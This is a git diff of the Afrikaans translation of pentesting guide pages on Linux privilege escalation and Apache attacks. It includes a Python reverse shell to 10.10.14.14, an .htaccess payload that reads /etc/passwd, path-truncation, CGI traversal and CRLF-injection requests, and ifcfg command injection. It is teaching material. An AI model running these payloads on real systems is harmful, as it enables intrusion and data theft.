socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate uitbuiting +### Logrotate exploitation -'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer gidse potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word. +'n Kwesbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n log file of sy ouerdirektore potensieel toe om verhoogde bevoegdhede te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar log rotation toegepas word. > [!TIP] -> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer +> Hierdie kwesbaarheid raak `logrotate` version `3.18.0` and older -Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind word: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Meer gedetailleerde inligting oor die kwesbaarheid is te vinde op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met simboliese skakels te vervang. +Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kontroleer of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Kwetsbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Kwesbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -As 'n gebruiker om enige rede in staat is om 'n **skrywe** `ifcf-` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Netwerk skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Dit word egter \~sourced\~ op Linux deur Network Manager (dispatcher.d). +Network-skripte, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -In my geval, die `NAME=` wat aan hierdie netwerk skripte toegeken word, word nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel om die deel na die wit/leë spasie uit te voer**. Dit beteken dat **alles na die eerste leë spasie as root uitgevoer word**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -Byvoorbeeld: _/etc/sysconfig/network-scripts/ifcfg-1337_ +For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Let op die leë spasie tussen Network en /bin/id_) + ### **init, init.d, systemd, en rc.d** -Die gids `/etc/init.d` is die huis van **scripts** vir System V init (SysVinit), die **klassieke Linux diensbestuurstelsel**. Dit sluit scripts in om dienste te `begin`, `stop`, `herbegin`, en soms `herlaai`. Hierdie kan direk of deur simboliese skakels in `/etc/rc?.d/` uitgevoer word. 'n Alternatiewe pad in Redhat stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` bevat **scripts** vir System V init (SysVinit), die **klassieke Linux-diensbestuursisteem**. Dit sluit scripts in om dienste te `start`, `stop`, `restart`, en soms `reload`. Hierdie kan direk uitgevoer word of via simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. -Aan die ander kant, `/etc/init` is geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu bekendgestel is, wat konfigurasie lêers gebruik vir diensbestuur take. Ten spyte van die oorgang na Upstart, word SysVinit scripts steeds saam met Upstart konfigurasies gebruik weens 'n kompatibiliteitslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir diensbestuurtake. Ten spyte van die oorskakeling na Upstart, word SysVinit-scripts steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. -**systemd** verskyn as 'n moderne inisialisasie en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon begin, automount bestuur, en stelsels staat snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur wysigings, wat die stelsels administrasie proses stroomlyn. +**systemd** verskyn as 'n moderne initialiserings- en diensbestuurder en bied gevorderde funksies soos on-demand daemon opstart, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distribusiepakkette en `/etc/systemd/system/` vir administrateurwysigings, wat die stelseladministrasieproses vereenvoudig. -## Ander Triks +## Ander truuks -### NFS Privilege escalasie +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Ontsnapping uit beperkte Skale +### Escaping from restricted Shells {{#ref}} @@ -1396,29 +1399,38 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Kernel Sekuriteit Beskermings +## Android rooting frameworks: manager-channel abuse + +Android rooting frameworks heg gewoonlik 'n syscall om met voorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swak manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en na root te eskaleer op reeds-ge-rootte toestelle. Lees meer en uitbuitingsbesonderhede hier: + + +{{#ref}} +android-rooting-frameworks-manager-auth-bypass-syscall-hook.md +{{#endref}} + +## Kernel Sekuriteitsbeskerming - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) ## Meer hulp -[Statiese impacket binaries](https://github.com/ropnop/impacket_static_binaries) +[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Linux/Unix Privesc Gereedskap +## Linux/Unix Privesc Tools -### **Beste gereedskap om na Linux plaaslike privilege escalasie vektore te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Beste hulpmiddel om na Linux local privilege escalation vectors te soek:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t opsie)\ +**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ -**Unix Privesc Kontrole:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ +**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumereer kernel kwesbaarhede in linux en MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Versameling van meer scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Verwysings @@ -1441,13 +1453,4 @@ cisco-vmanage.md - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) -## Android rooting frameworks: bestuurder-kanaal misbruik - -Android rooting frameworks haak algemeen 'n syscall om bevoorregte kernel funksionaliteit aan 'n gebruikersruimte bestuurder bloot te stel. Swak bestuurder verifikasie (bv. handtekening kontroles gebaseer op FD-volgorde of swak wagwoord skemas) kan 'n plaaslike app in staat stel om die bestuurder na te doen en na wortel te eskaleer op reeds-grootte toestelle. Leer meer en ontploffings besonderhede hier: - - -{{#ref}} -android-rooting-frameworks-manager-auth-bypass-syscall-hook.md -{{#endref}} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 01b8c765b..ff1e4e769 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -4,11 +4,11 @@ ## Uitvoerbare PHP-uitbreidings -Kyk watter uitbreidings die Apache-bediener uitvoer. Om hulle te soek, kan jy uitvoer: +Kontroleer watter PHP-uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek kan jy uitvoer: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is: +Ook, sommige plekke waar jy hierdie konfigurasie kan vind is: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## Confusion Attack +## LFI via .htaccess ErrorDocument file provider (ap_expr) -Hierdie tipe aanvalle is bekendgestel en gedokumenteer [**deur Orange in hierdie blogpos**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) en die volgende is 'n opsomming. Die "confusion" aanval misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep, nie perfek gesinchroniseer werk nie, en om sommige van hulle onvoorsiene data te laat wysig, kan 'n kwesbaarheid in 'n latere module veroorsaak. +As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskep in arbitêre plaaslike lêerlees deur die ap_expr file() funksie binne ErrorDocument te gebruik. -### Filename Confusion +- Vereistes: +- Apache 2.4 met expression parser (ap_expr) geaktiveer (standaard in 2.4). +- Die vhost/dir moet .htaccess toelaat om ErrorDocument te stel (AllowOverride FileInfo). +- Die Apache worker user moet leesregte op die teikenlêer hê. -#### Truncation +.htaccess payload: +```apache +# Optional marker header just to identify your tenant/request path +Header always set X-Debug-Tenant "demo" +# On any 404 under this directory, return the contents of an absolute filesystem path +ErrorDocument 404 %{file:/etc/passwd} +``` +Aktiveer deur 'n nie-bestaande path onder daardie directory aan te vra, byvoorbeeld wanneer userdir-style hosting misbruik word: +```bash +curl -s http://target/~user/does-not-exist | sed -n '1,20p' +``` +Wenke en notas: +- Slegs absolute paadjies werk. Die inhoud word teruggestuur as die response body vir die 404-handler. +- Effektiewe leespermissies is dié van die Apache-gebruiker (gewoonlik www-data/apache). In standaardopstellings sal jy nie /root/* of /etc/shadow kan lees nie. +- Selfs al is .htaccess root-eienaar, as die ouer gids deur die tenant besit word en hernoeming toelaat, mag jy die oorspronklike .htaccess hernoem en jou eie plaasvervanger via SFTP/FTP oplaai: +- rename .htaccess .htaccess.bk +- sit jou kwaadwillige .htaccess +- Gebruik dit om toepassingsbron onder DocumentRoot of vhost config paths te lees om geheime in te samel (DB creds, API keys, ens.). -Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsnit ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie, aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle sal dit as 'n lêerpad behandel word, wat 'n probleem kan veroorsaak. +## Verwarringsaanval -- **Path Truncation** +These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module. -Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang te verkry tot ander lêers binne die lêerstelsel, deur eenvoudig die laaste deel van die verwagte pad te verwyder en 'n `?` by te voeg: +### Lêernaamverwarring + +#### Afkapping + +Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle word dit as 'n lêerpad behandel, wat 'n probleem kan veroorsaak. + +- **Padafkapping** + +Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers binne die lêerstelsel te kry deur bloot 'n `?` by te voeg wat die laaste deel van die verwagte pad verwyder: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -46,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Misleidende RewriteFlag Toewysing** +- **Misleidende RewriteFlag-toewysing** -In die volgende herskryfreël, solank die URL eindig op .php, gaan dit behandel en uitgevoer word as php. Daarom is dit moontlik om 'n URL te stuur wat eindig op .php na die `?` karakter terwyl 'n ander tipe lêer (soos 'n beeld) met kwaadwillige php-kode daarin gelaai word: +In die volgende rewrite-reël, solank die URL op .php eindig, sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL te stuur wat na die `?`-teken op .php eindig, terwyl 'n ander tipe lêer (soos 'n beeld) in die pad gelaai word met kwaadaardige php-kode daarin: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Dit is moontlik om toegang te verkry tot lêers wat die gebruiker nie behoort te kan toegang nie, selfs al moet die toegang geweier word met konfigurasies soos: +Dit is moontlik om toegang tot lêers te kry waartoe die gebruiker nie behoort te kan toegang kry nie, selfs al behoort die toegang met konfigurasies soos die volgende geweier te word: ```xml AuthType Basic @@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Dit is omdat PHP-FPM standaard URL's ontvang wat eindig op `.php`, soos `http://server/admin.php%3Fooo.php` en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied. +Dit is omdat PHP-FPM standaard URL's wat eindig op `.php` sal ontvang, soos `http://server/admin.php%3Fooo.php`, en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied. -### DocumentRoot Verwarring +### DocumentRoot verwarring ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -'n Interessante feit oor Apache is dat die vorige herskrywing sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. So, 'n versoek na `https://server/abouth.html` sal die lêer in `/var/www/html/about.html` en `/about.html` in die lêerstelsel nagaan. Dit kan basies misbruik word om lêers in die lêerstelsel te benader. +'n Interessante feit oor Apache is dat die vorige rewrite sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. Dus sal 'n versoek na `https://server/abouth.html` in die lêerstelsel kyk of die lêer in `/var/www/html/about.html` en `/about.html` bestaan. Dit kan basies misbruik word om toegang tot lêers in die lêerstelsel te kry. -#### **Bediener-kant Bronkode Ontsluiting** +#### **Serverkant Bronkode Blootstelling** -- **Ontsluit CGI Bronkode** +- **Blootstelling van CGI-bronkode** -Net om 'n %3F aan die einde by te voeg, is genoeg om die bronkode van 'n cgi-module te lek: +Deur net %3F aan die einde by te voeg is dit genoeg om die bronkode van 'n CGI-module te leak: ```bash curl http://server/cgi-bin/download.cgi # the processed result from download.cgi @@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F # ... # # the source code of download.cgi ``` -- **Ontbloot PHP Bronnkode** +- **Maak PHP Source Code openbaar** -As 'n bediener verskillende domeine het, met een daarvan 'n statiese domein, kan dit misbruik word om die lêerstelsel te deurkruis en php kode te lek: +Indien 'n bediener verskillende domeine het, waarvan een 'n statiese domein is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak: ```bash # Leak the config.php file of the www.local domain from the static.local domain curl http://www.local/var/www.local/config.php%3F -H "Host: static.local" # the source code of config.php ``` -#### **Plaaslike Gadgets Manipulasie** +#### **Local Gadgets Manipulation** -Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang oor die lêerstelsel ontken sal word soos in Apache HTTP Server se [konfigurasiesjabloon](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): +Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang tot die filesystem geweier sal word soos in Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115): ```xml AllowOverride None Require all denied ``` -egter, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe: +Maar, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe: ```xml AllowOverride None Require all granted ``` -Daarom sal dit moontlik wees om **lêers wat binne `/usr/share` in hierdie verspreidings geleë is, te misbruik.** +Daarom sal dit moontlik wees om **lêers binne `/usr/share` in hierdie distributies te misbruik.** -**Plaaslike Gadget tot Inligtingsontsluiting** +**Plaaslike gadget na inligtingsvrystelling** -- **Apache HTTP Server** met **websocketd** mag die **dump-env.php** skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewing veranderlikes kan lek. -- Bedieners met **Nginx** of **Jetty** mag sensitiewe webtoepassing inligting (bv. **web.xml**) blootstel deur hul standaard web wortels wat onder **/usr/share** geplaas is: +- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsveranderlikes kan leak. +- Bedieners met **Nginx** of **Jetty** kan sensitiewe webtoepassingsinligting (bv. **web.xml**) blootstel deur hul verstek webwortels geplaas onder **/usr/share**: - **/usr/share/nginx/html/** - **/usr/share/jetty9/etc/** - **/usr/share/jetty9/webapps/** -**Plaaslike Gadget tot XSS** +**Plaaslike gadget na XSS** -- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die uitbuiting van die hulp lêers se taal skakel funksie lei tot **Cross-Site Scripting (XSS)**. Manipulasie van die URL by **/usr/share/libreoffice/help/help.html** kan lei na kwaadwillige bladsye of ouer weergawes deur **onveilige RewriteRule**. +- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die misbruik van die help-lêers se taalwissel-funksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer, kan daar herlei word na kwaadwillige bladsye of ouer weergawes deur 'n **unsafe RewriteRule**. -**Plaaslike Gadget tot LFI** +**Plaaslike gadget na LFI** - As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos **/etc/passwd** te lees: - **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php** - **/usr/share/javascript/jquery-jfeed/proxy.php** - **/usr/share/moodle/mod/assignment/type/wims/getcsv.php** -**Plaaslike Gadget tot SSRF** +**Plaaslike gadget na SSRF** -- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF kwesbaarheid maklik geskep word, wat 'n toegangspunt tot verdere uitbuitings bied. +- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwetsbaarheid maklik geskep word, wat 'n poort tot verdere eksploite bied. -**Plaaslike Gadget tot RCE** +**Plaaslike gadget na RCE** -- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van plaaslike gadgets manipulasie toon. +- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets demonstreer. -#### **Jailbreak van Plaaslike Gadgets** +#### **Jailbreak vanaf plaaslike gadgets** -Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos: +Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos: - **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/` - **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data` @@ -158,55 +186,55 @@ Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te - **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/` - **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/` -Boonop, deur simlinks te misbruik was dit moontlik om **RCE in Redmine te verkry.** +Verder, deur symlinks te misbruik was dit moontlik om **RCE in Redmine** te verkry. ### Handler Verwarring -Hierdie aanval benut die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP verwerking** te aktiveer. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur. egter, as gevolg van nalatenskapkode, hanteer Apache hierdie riglyne wisselvallig onder sekere omstandighede, wat `r->content_type` in `r->handler` omskakel as die eerste ingestel is en die laaste nie. +Hierdie aanval misbruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur beïnvloed. Weens ouer kode hanteer Apache egter hierdie riglyne onder sekere toestande uitruilbaar, deur `r->content_type` in `r->handler` om te skakel as die eersgenoemde gestel is en laasgenoemde nie. -Boonop, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voordat `ap_run_handler()` uitgevoer word, **gebruik die bediener `r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak. +Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak. -#### **Oorskry Handler om PHP Bronskode te Ontsluit** +#### **Oorskryf handler om PHP-bronkode te openbaar** -In [**hierdie praatjie**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, kan veroorsaak dat Apache per ongeluk **die PHP bronskode teruggee**. Dit was as gevolg van 'n fout hantering probleem met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryding van `r->content_type` na `text/html`.\ -Omdat ModSecurity nie behoorlik terugwaardes hanteer nie, sou dit die PHP kode teruggee en dit nie interpreteer nie. +In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, Apache kan laat foutiewelik **die PHP-bronkode teruggee**. Dit was as gevolg van 'n fout in foutbehandeling met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryf van `r->content_type` na `text/html`.\ +Omdat ModSecurity nie terugkeerwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie. -#### **Oorskry Handler tot XXXX** +#### **Oorskryf handler na XXXX** -TODO: Oranje het hierdie kwesbaarheid nog nie bekend gemaak nie +TODO: Orange het hierdie kwesbaarheid nog nie bekendgemaak nie -### **Roep Arbitrêre Handlers aan** +### **Roep arbitrêre handlers aan** -As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bediener antwoord te beheer, sal hy in staat wees om **arbitrêre module handlers aan te roep**. egter, teen die tyd dat die aanvaller dit beheer, sal die meeste van die proses van die versoek gedoen wees. egter, dit is moontlik om die versoekproses te **herbegin deur die `Location` kop te misbruik** omdat as die **r**eturned `Status` 200 is en die `Location` kop met 'n `/` begin, die antwoord as 'n Server-Side Redirection behandel word en verwerk moet word. +As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bedienerantwoord te beheer, sal hy in staat wees om **arbitrêre module-handlers aan te roep**. Teen die tyd dat die aanvaller dit beheer, sal die meeste van die versoekproses egter reeds afgehandel wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location`-kop te misbruik**, omdat as die teruggegewe `Status` 200 is en die `Location`-kop met 'n `/` begin, die response as 'n Server-Side Redirection beskou en verwerk moet word. -Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI) in [Afdeling 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definieer 'n Plaaslike Hernoem Antwoord gedrag: +Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI), in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) word die gedrag van 'n Local Redirect Response gedefinieer: -> Die CGI skrip kan 'n URI pad en navraag-string (‘local-pathquery’) vir 'n plaaslike hulpbron in 'n Location kopveld teruggee. Dit dui aan vir die bediener dat dit die versoek moet herverwerk met die pad wat gespesifiseer is. +> Die CGI-skrip kan 'n URI-pad en query-string ('local-pathquery') vir 'n plaaslike hulpbron in 'n Location-kopveld teruggee. Dit dui aan dat die bediener die versoek weer moet verwerk met die gespesifiseerde pad. -Daarom, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig: +Dus, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig: -- CRLF Inspuiting in die CGI antwoord koppe -- SSRF met volledige beheer van die antwoord koppe +- CRLF Injection in the CGI response headers +- SSRF met volledige beheer oor die responskoppe -#### **Arbitrêre Handler tot Inligtingsontsluiting** +#### **Arbitrêre handler na inligtingsvrystelling** -Byvoorbeeld, `/server-status` moet slegs plaaslik toeganklik wees: +Byvoorbeeld, `/server-status` behoort slegs lokaal toeganklik te wees: ```xml SetHandler server-status Require local ``` -Dit is moontlik om toegang te verkry deur die `Content-Type` op `server-status` te stel en die Location-header wat met `/` begin. +Dit is moontlik om daartoe toegang te kry deur die `Content-Type` op `server-status` te stel en die `Location`-header te laat begin met `/`. ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo %0d%0a Content-Type:server-status %0d%0a %0d%0a ``` -#### **Arbitraire Handler na Volledige SSRF** +#### **Arbitrary Handler to Full SSRF** -Herlei na `mod_proxy` om enige protokol op enige URL te benader: +Herlei na `mod_proxy` om toegang tot enige protokol op enige URL te kry: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a @@ -215,20 +243,20 @@ http://example.com/%3F %0d%0a %0d%0a ``` -egter, die 